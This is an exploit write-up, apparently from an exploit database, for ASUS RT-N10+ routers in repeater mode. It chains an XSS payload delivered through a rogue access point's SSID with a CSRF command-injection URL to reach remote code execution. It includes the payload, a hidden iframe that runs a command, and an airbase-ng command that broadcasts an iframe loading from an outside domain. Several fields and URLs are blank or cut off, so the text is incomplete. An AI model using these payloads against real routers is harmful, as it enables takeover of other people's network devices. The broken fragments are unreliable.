# Exploit Title: XSS And CSRF to RCE in ASUS RT-N10 Repeater Mode  
# Date: 13/10/2019  
# Exploit Author: Matheus Vrech  
# Vendor Homepage:  
# Version: ASUS RT-N10+, Firmware:  
# Tested on: Archlinux, Windows 10  
# XSS:  
# when someone change router to repeater mode you should be able to trigger javascript code:  
# just create an AP with the payload ad wait the person to look for the available routers to repeat  
vulnerable page:  
payload: <svg/onload="alert('xss')">  
# CSRF + RCE  
# it's possible to inject commands into the router by just triggering a authenticated user to acess the following url:  
# change COMMAND to yout command  
vulnerable url:"  
# With both of them it's possible to execute command abusing the repeater mode XSS  
# create the page:  
<iframe style="display: none" src=" /tmp/pwned&action=Refresh"></iframe>  
# start your AP:  
airbase-ng -e "<iframe src="//your.domain">" -c 8 -v wlp2s0mon